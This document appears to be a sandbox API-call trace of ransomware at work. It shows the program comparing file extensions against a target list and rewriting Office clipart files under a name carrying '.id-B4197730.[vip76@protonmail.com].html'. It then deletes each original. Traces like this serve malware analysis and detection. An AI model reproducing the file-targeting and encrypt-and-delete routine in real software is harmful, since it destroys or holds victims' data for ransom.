	[0201.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0201.671] lstrlenW (lpString=".zip") returned 4
	[0201.671] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0201.671] lstrlenW (lpString=".rar") returned 4
	[0201.671] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0201.671] lstrlenW (lpString=".bz2") returned 4
	[0201.671] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0201.671] lstrlenW (lpString=".7z") returned 3
	[0201.671] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0201.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0201.671] lstrlenW (lpString=".dbf") returned 4
	[0201.671] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0201.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0201.671] lstrlenW (lpString=".1cd") returned 4
	[0201.671] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0201.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0201.671] lstrlenW (lpString=".jpg") returned 4
	[0201.671] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0201.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0201.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0201.671] lstrlenW (lpString=".doc") returned 4
	[0201.671] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0201.671] lstrlenW (lpString=".docx") returned 5
	[0201.671] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0201.671] lstrlenW (lpString=".pdf") returned 4
	[0201.671] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0201.671] lstrlenW (lpString=".xls") returned 4
	[0201.672] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0201.672] lstrlenW (lpString=".xlsx") returned 5
	[0201.672] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0201.672] lstrlenW (lpString=".ppt") returned 4
	[0201.672] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0201.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0201.672] lstrlenW (lpString=".zip") returned 4
	[0201.672] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0201.672] lstrlenW (lpString=".rar") returned 4
	[0201.672] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0201.672] lstrlenW (lpString=".bz2") returned 4
	[0201.672] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0201.672] lstrlenW (lpString=".7z") returned 3
	[0201.672] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0201.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0201.672] lstrlenW (lpString=".dbf") returned 4
	[0201.672] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0201.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0201.672] lstrlenW (lpString=".1cd") returned 4
	[0201.672] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0201.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68
	[0201.672] lstrlenW (lpString=".jpg") returned 4
	[0201.672] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0201.672] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0201.672] lstrlenW (lpString="J0151055.WMF") returned 12
	[0201.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0201.673] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=14632) returned 1
	[0201.673] CloseHandle (hObject=0x460) returned 1
	[0201.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf")) returned 0x220
	[0201.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0201.674] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.674] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0201.675] GetLastError () returned 0x0
	[0201.675] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x3928, lpOverlapped=0x0) returned 1
	[0201.677] WriteFile (in: hFile=0x5bc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x3930, lpOverlapped=0x0) returned 1
	[0201.679] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0201.679] WriteFile (in: hFile=0x5bc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0201.679] SetEndOfFile (hFile=0x5bc) returned 1
	[0201.679] CloseHandle (hObject=0x5bc) returned 1
	[0201.679] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.679] SetEndOfFile (hFile=0x460) returned 1
	[0201.682] CloseHandle (hObject=0x460) returned 1
	[0201.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0201.683] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf")) returned 1
	[0201.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0201.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0201.684] lstrlenW (lpString=".doc") returned 4
	[0201.684] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0201.684] lstrlenW (lpString=".docx") returned 5
	[0201.684] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0201.684] lstrlenW (lpString=".pdf") returned 4
	[0201.684] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0201.684] lstrlenW (lpString=".xls") returned 4
	[0201.684] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0201.684] lstrlenW (lpString=".xlsx") returned 5
	[0201.684] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0201.684] lstrlenW (lpString=".ppt") returned 4
	[0201.684] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0201.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0201.684] lstrlenW (lpString=".zip") returned 4
	[0201.684] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0201.684] lstrlenW (lpString=".rar") returned 4
	[0201.684] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0201.684] lstrlenW (lpString=".bz2") returned 4
	[0201.684] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0201.684] lstrlenW (lpString=".7z") returned 3
	[0201.684] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0201.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0201.684] lstrlenW (lpString=".dbf") returned 4
	[0201.684] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0201.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0201.684] lstrlenW (lpString=".1cd") returned 4
	[0201.684] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0201.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0201.684] lstrlenW (lpString=".jpg") returned 4
	[0201.684] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0201.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0201.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0201.685] lstrlenW (lpString=".doc") returned 4
	[0201.685] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0201.685] lstrlenW (lpString=".docx") returned 5
	[0201.685] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0201.685] lstrlenW (lpString=".pdf") returned 4
	[0201.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0201.685] lstrlenW (lpString=".xls") returned 4
	[0201.685] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0201.685] lstrlenW (lpString=".xlsx") returned 5
	[0201.685] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0201.685] lstrlenW (lpString=".ppt") returned 4
	[0201.685] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0201.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0201.685] lstrlenW (lpString=".zip") returned 4
	[0201.685] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0201.685] lstrlenW (lpString=".rar") returned 4
	[0201.685] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0201.685] lstrlenW (lpString=".bz2") returned 4
	[0201.685] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0201.685] lstrlenW (lpString=".7z") returned 3
	[0201.685] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0201.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0201.685] lstrlenW (lpString=".dbf") returned 4
	[0201.685] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0201.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0201.685] lstrlenW (lpString=".1cd") returned 4
	[0201.685] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0201.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF") returned 68
	[0201.685] lstrlenW (lpString=".jpg") returned 4
	[0201.685] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0201.686] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0201.686] lstrlenW (lpString="J0151061.WMF") returned 12
	[0201.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0201.687] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=6752) returned 1
	[0201.687] CloseHandle (hObject=0x460) returned 1
	[0201.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf")) returned 0x220
	[0201.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0201.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0201.688] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.688] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0201.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0201.689] GetLastError () returned 0x0
	[0201.689] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x1a60, lpOverlapped=0x0) returned 1
	[0202.120] WriteFile (in: hFile=0x5bc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x1a70, lpOverlapped=0x0) returned 1
	[0202.159] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.159] WriteFile (in: hFile=0x5bc, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0202.159] SetEndOfFile (hFile=0x5bc) returned 1
	[0202.678] CloseHandle (hObject=0x5bc) returned 1
	[0202.678] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.678] SetEndOfFile (hFile=0x460) returned 1
	[0202.714] CloseHandle (hObject=0x460) returned 1
	[0202.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.714] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf")) returned 1
	[0202.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0202.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0202.715] lstrlenW (lpString=".doc") returned 4
	[0202.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.715] lstrlenW (lpString=".docx") returned 5
	[0202.715] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0202.715] lstrlenW (lpString=".pdf") returned 4
	[0202.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.715] lstrlenW (lpString=".xls") returned 4
	[0202.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.715] lstrlenW (lpString=".xlsx") returned 5
	[0202.715] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0202.715] lstrlenW (lpString=".ppt") returned 4
	[0202.715] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0202.715] lstrlenW (lpString=".zip") returned 4
	[0202.716] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.716] lstrlenW (lpString=".rar") returned 4
	[0202.716] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.716] lstrlenW (lpString=".bz2") returned 4
	[0202.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.716] lstrlenW (lpString=".7z") returned 3
	[0202.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0202.716] lstrlenW (lpString=".dbf") returned 4
	[0202.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0202.716] lstrlenW (lpString=".1cd") returned 4
	[0202.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0202.716] lstrlenW (lpString=".jpg") returned 4
	[0202.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0202.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0202.716] lstrlenW (lpString=".doc") returned 4
	[0202.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.716] lstrlenW (lpString=".docx") returned 5
	[0202.716] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0202.716] lstrlenW (lpString=".pdf") returned 4
	[0202.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.716] lstrlenW (lpString=".xls") returned 4
	[0202.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.716] lstrlenW (lpString=".xlsx") returned 5
	[0202.716] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0202.716] lstrlenW (lpString=".ppt") returned 4
	[0202.716] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0202.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0202.716] lstrlenW (lpString=".zip") returned 4
	[0202.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0202.717] lstrlenW (lpString=".rar") returned 4
	[0202.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0202.717] lstrlenW (lpString=".bz2") returned 4
	[0202.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0202.717] lstrlenW (lpString=".7z") returned 3
	[0202.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0202.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0202.717] lstrlenW (lpString=".dbf") returned 4
	[0202.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0202.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0202.717] lstrlenW (lpString=".1cd") returned 4
	[0202.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0202.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF") returned 68
	[0202.717] lstrlenW (lpString=".jpg") returned 4
	[0202.717] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0202.717] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0202.717] lstrlenW (lpString="J0152568.WMF") returned 12
	[0202.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0202.718] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=3696) returned 1
	[0202.718] CloseHandle (hObject=0x460) returned 1
	[0202.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf")) returned 0x220
	[0202.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0202.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0202.719] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.719] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0202.720] GetLastError () returned 0x0
	[0202.720] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0xe70, lpOverlapped=0x0) returned 1
	[0202.721] WriteFile (in: hFile=0x594, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xe80, lpOverlapped=0x0) returned 1
	[0202.722] ReadFile (in: hFile=0x460, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0202.722] WriteFile (in: hFile=0x594, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0202.722] SetEndOfFile (hFile=0x594) returned 1
	[0202.722] CloseHandle (hObject=0x594) returned 1
	[0202.723] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0202.723] SetEndOfFile (hFile=0x460) returned 1
	[0202.726] CloseHandle (hObject=0x460) returned 1
	[0202.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0202.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf")) returned 1
	[0202.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0202.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68
	[0202.727] lstrlenW (lpString=".doc") returned 4
	[0202.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0202.727] lstrlenW (lpString=".docx") returned 5
	[0202.727] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0202.727] lstrlenW (lpString=".pdf") returned 4
	[0202.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0202.727] lstrlenW (lpString=".xls") returned 4
	[0202.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0202.728] lstrlenW (lpString=".xlsx") returned 5
	[0202.728] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0202.728] lstrlenW (lpString=".ppt") returned 4
	[0202.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
